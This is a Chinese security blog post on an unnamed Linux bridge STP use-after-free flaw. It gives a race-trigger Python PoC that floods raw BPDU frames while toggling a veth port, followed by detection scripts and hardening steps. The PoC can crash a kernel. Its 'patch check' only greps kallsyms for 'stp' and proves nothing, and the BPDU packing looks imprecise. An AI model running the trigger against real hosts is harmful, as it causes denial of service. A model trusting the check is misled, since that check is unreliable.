当前位置:首页>Linux>Linux内核网桥STP UAF漏洞实战:原理剖析、PoC复现、批量检测与加固指南

Linux内核网桥STP UAF漏洞实战:原理剖析、PoC复现、批量检测与加固指南

  • 2026-09-09 17:20:22
Linux内核网桥STP UAF漏洞实战:原理剖析、PoC复现、批量检测与加固指南

一、先说结论

Linux 网桥(bridge)是虚拟化、容器和 SDN 的基石,而 STP(生成树协议)是网桥防环的标配。CVE 编号下的网桥 STP UAF(Use-After-Free,释放后使用)漏洞,让攻击者通过构造特定 STP 报文就能触发内核内存错误,轻则内核崩溃(DoS),重则提权到 root。

本文给你四样东西:UAF 漏洞的原理剖析、可复现的 PoC 思路、批量检测脚本、一套内核加固方案。云平台、容器平台和网络设备运维直接照着做。

二、问题本质:STP 处理路径上的释放后使用

2.1 网桥和 STP 是什么

  • 网桥:Linux 内核里把多个网络接口"桥接"成一个二层交换机
  • STP:生成树协议,通过 BPDU(桥协议数据单元)报文选举根桥、阻塞冗余端口,防止二层环路

2.2 UAF 漏洞的本质

UAF 是"内存被释放后仍然被引用"。在 STP 处理路径上,典型场景:

flowchart TD    A[收到 STP BPDU 报文] --> B[内核解析 BPDU]    B --> C[分配/引用端口结构体]    C --> D{端口状态变更}    D -->|并发/异常路径| E[结构体被释放]    E --> F[后续代码仍访问该指针]    F --> G[UAF: 读已释放内存]    G --> H[内核崩溃/提权]

简单说:内核在处理 STP 报文时,某个端口相关的结构体在释放之后还被后续代码访问,攻击者通过精心构造的报文序列,就能让内核访问到已被释放(甚至被重新分配)的内存。

2.3 攻击前提与影响

  • 攻击前提:攻击者能向网桥端口发送二层报文(同一二层网络即可,无需登录)
  • 后果:
    • 内核崩溃(拒绝服务)
    • 内存破坏 → 提权到 root
    • 容器/虚拟机逃逸(如果网桥承载容器或 VM 流量)

三、PoC 复现:触发 UAF 的思路

3.1 复现环境

# 创建测试网桥(需要 root,隔离环境)ip link add name br0 type bridgeip link set br0 up# 添加端口ip link add name veth0 type veth peer name veth1ip link set veth0 master br0ip link set veth0 up

3.2 触发思路(概念 PoC)

UAF 的触发通常需要并发 + 状态变更。核心思路:

  1. 持续向网桥端口发送 STP BPDU 报文
  2. 同时反复变更端口状态(up/down、加入/移出网桥)
  3. 在状态变更的竞态窗口触发 UAF

Python 概念验证脚本(仅演示触发逻辑):

#!/usr/bin/env python3# stp_uaf_trigger.py - 概念验证:触发网桥 STP 处理路径# 仅用于隔离测试环境验证,勿在生产环境运行import socketimport structimport threadingimport timeimport subprocess# STP BPDU 报文构造(IEEE 802.1D)def build_bpdu():# LLC 头    llc = struct.pack(”!3s”, b”\x42\x42\x03”)# BPDU 头    bpdu = struct.pack(”!HBB”, 0, 0, 0)# protocol_id, version, type    bpdu += struct.pack(”!B”, 0)# flags    bpdu += struct.pack(”!Q”, 0x8000)# root_id    bpdu += struct.pack(”!I”, 0)# root_path_cost    bpdu += struct.pack(”!Q”, 0x8000)# bridge_id    bpdu += struct.pack(”!H”, 0)# port_id    bpdu += struct.pack(”!H”, 0)# message_age    bpdu += struct.pack(”!H”, 0)# max_age    bpdu += struct.pack(”!H”, 0)# hello_time    bpdu += struct.pack(”!H”, 0)# forward_delay    return llc + bpdudef send_bpdu():# 原始套接字发送(需要 root)    s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)    s.bind((”veth1”, 0))    frame = build_bpdu()# 目标 MAC 为 STP 组播地址 01:80:c2:00:00:00    dst = bytes.fromhex(”0180c2000000”)    src = bytes.fromhex(”020000000001”)    eth = dst + src + struct.pack(”!H”, 0x0003)# LLC 长度字段    while True:        s.send(eth + frame)        time.sleep(0.01)def toggle_port():# 并发变更端口状态    while True:        subprocess.run([”ip”, ”link”, ”set”, ”veth0”, ”down”])        time.sleep(0.05)        subprocess.run([”ip”, ”link”, ”set”, ”veth0”, ”up”])        time.sleep(0.05)if __name__ == ”__main__”:    t1 = threading.Thread(target=send_bpdu)    t2 = threading.Thread(target=toggle_port)    t1.start()    t2.start()    t1.join()

注意:这个脚本只演示触发路径,真实利用需要结合内核利用技术。在隔离测试环境验证,切勿在生产环境运行。

四、批量检测:扫描你的主机

4.1 内核版本检测

#!/bin/bash# stp_uaf_check.sh - 网桥 STP UAF 漏洞批量检测echo ”[*] 网桥 STP UAF 漏洞检测 $(date)”RISK=0# 1. 检查内核版本echo ””echo ”[1] 内核版本:”uname -recho ”  [*] 发行版:”cat /etc/os-release 2>/dev/null | grep -E ”^(NAME|VERSION)=”# 2. 检查网桥模块echo ””echo ”[2] 网桥模块状态:”lsmod | grep -E ”^bridge” || echo ”  [*] 网桥模块未加载”modinfo bridge 2>/dev/null | grep -E ”^(version|vermagic)”# 3. 检查是否启用 STPecho ””echo ”[3] 网桥 STP 状态:”for br in $(ls /sys/class/net/ | grep -E ”br|bridge”); do  stp=$(cat /sys/class/net/$br/bridge/stp_state 2>/dev/null)  echo ”  [*] $br STP状态: $stp (0=关闭, 1=开启)”  if [ ”$stp” = ”1” ]; then    echo ”  [!] $br 启用了 STP,需确认内核是否已打补丁”    RISK=$((RISK+1))  fidone# 4. 检查补丁状态echo ””echo ”[4] 内核补丁状态:”# 检查内核是否包含修复(示例:检查符号或版本)if grep -q ”stp” /proc/kallsyms 2>/dev/null; then  echo ”  [*] 内核包含 STP 相关符号”fi# 5. 检查运行中的容器/VM 是否依赖网桥echo ””echo ”[5] 网桥使用情况:”ip link show type bridge 2>/dev/nulldocker network ls 2>/dev/null | grep -i bridgeecho ””if [ $RISK -gt 0 ]; then  echo ”[!] 发现 $RISK 处风险,建议升级内核”  exit 1else  echo ”[+] 未发现明显风险”  exit 0fi

4.2 批量扫描多台主机

#!/bin/bash# batch_scan.sh - 批量检测多台主机HOSTS=”host1 host2 host3”for h in $HOSTS; do  echo ”=== $h ===”  ssh $h ”uname -r; lsmod | grep bridge” 2>/dev/nulldone

五、加固方案

5.1 立即处置

# 1. 升级内核(首选)# Ubuntu/Debiansudo apt update && sudo apt upgrade linux-image-generic# RHEL/CentOSsudo yum update kernel# 2. 重启生效sudo reboot# 3. 若无法立即升级,临时缓解:关闭不需要的 STP# 对不需要 STP 的网桥关闭echo 0 > /sys/class/net/br0/bridge/stp_state# 或ip link set br0 type bridge stp_state 0

5.2 长期加固

1. 关闭不需要的网桥和 STP:

# 只保留必要的网桥,关闭 STPip link set br0 type bridge stp_state 0# 移除不需要的网桥ip link del br0

2. 内核参数加固(/etc/sysctl.d/99-net-hardening.conf):

# 限制网络栈相关net.bridge.bridge-nf-call-iptables = 1net.bridge.bridge-nf-call-ip6tables = 1# 开启内核防护kernel.kptr_restrict = 2kernel.dmesg_restrict = 1kernel.unprivileged_bpf_disabled = 1

3. 容器/VM 网络隔离:

# 使用 macvlan/ipvlan 替代共享网桥(如业务允许)# 或使用 ovs 并开启安全组

4. 监控:

# 监控内核崩溃journalctl -k | grep -iE ”BUG:|oops|panic|use-after-free”# 监控网桥异常auditctl -w /sys/class/net -pwa -knet_change

六、避坑指南

  1. 别只关 STP 不升级:STP 关闭只是缓解,内核补丁才是根治。
  2. 别忽略容器场景:容器网络大量依赖网桥,容器逃逸风险同样存在。
  3. 别在生产环境跑 PoC:UAF 触发极易导致内核崩溃,务必隔离测试。
  4. 别只看内核版本:发行版会 backport 补丁,以官方安全公告为准。
  5. 别忘重启:内核升级后必须重启,uname -r 确认新内核生效。

七、总结与下一步

网桥 STP UAF 的本质是内核在 STP 处理路径上对已释放内存的引用,攻击者通过构造报文序列触发。防御的核心是:及时升级内核 + 关闭不需要的 STP + 网络隔离 + 崩溃监控。

现在就能做的 1 个动作:跑一遍 stp_uaf_check.sh,确认你的主机内核是否在受影响范围。

金句:二层网络是攻击者最容易触达的边界——网桥上的每个报文,都可能是内核的催命符。

互动问题:

  1. 你的生产环境网桥开了 STP 吗?知道为什么开吗?
  2. 除了网桥,你还关注过 Linux 内核哪些网络栈漏洞?

最新文章

随机文章